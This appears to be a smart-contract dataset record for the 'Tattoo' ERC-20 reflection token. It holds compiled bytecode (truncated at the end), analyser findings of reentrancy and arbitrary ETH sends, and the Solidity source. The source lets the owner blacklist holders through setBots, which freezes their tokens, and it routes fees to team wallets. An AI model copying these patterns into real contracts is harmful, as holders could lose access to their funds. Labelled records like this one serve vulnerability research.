fffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f04565b60405180910390fd5b5060008385611c8a91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f46565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612973565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c1565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613263565b90508284826121509190613232565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc6565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f04565b60405180910390fd5b50600083856122939190613232565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242281612620565b61242c84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a6565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600954612717565b925092509250600061253d612212565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612212565b90506000612641828461212090919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276d606461275f888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212090919063ffffffff16565b905060006127dd868961212090919063ffffffff16565b905060006127f4878961212090919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ea687004d669e211499f7bd88772fd6c5f362051bbdb55f3aa0141b44d89956164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,425 |
0xa2443c079dB861E32ECe68806E889775Bb1832cA
|
/**
*Submitted for verification at Etherscan.io on 2021-09-14
* TattooToken
* T.me/TattooToken
* www.tattootokenrth.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Tattoo is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tattoo Token T.me/TattooToken";
string private constant _symbol = "Tattoo";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 4000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 8;
uint256 private _teamFee = 4;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 8;
_teamFee = 4;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ed7565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129fa565b61045e565b6040516101789190612ebc565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613079565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129ab565b61048c565b6040516101e09190612ebc565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061291d565b610565565b005b34801561021e57600080fd5b50610227610655565b60405161023491906130ee565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a77565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061291d565b610782565b6040516102b19190613079565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612dee565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612ed7565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129fa565b61098c565b60405161035b9190612ebc565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a36565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ac9565b6110cf565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061296f565b611217565b6040516104189190613079565b60405180910390f35b60606040518060400160405280601d81526020017f546174746f6f20546f6b656e20542e6d652f546174746f6f546f6b656e000000815250905090565b600061047261046b61129e565b84846112a6565b6001905092915050565b6000673782dace9d900000905090565b6000610499848484611471565b61055a846104a561129e565b610555856040518060600160405280602881526020016137b260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b61129e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c309092919063ffffffff16565b6112a6565b600190509392505050565b61056d61129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612fb9565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066661129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612fb9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075161129e565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c94565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8f565b9050919050565b6107db61129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612fb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f546174746f6f0000000000000000000000000000000000000000000000000000815250905090565b60006109a061099961129e565b8484611471565b6001905092915050565b6109b261129e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a000000000000000000000000000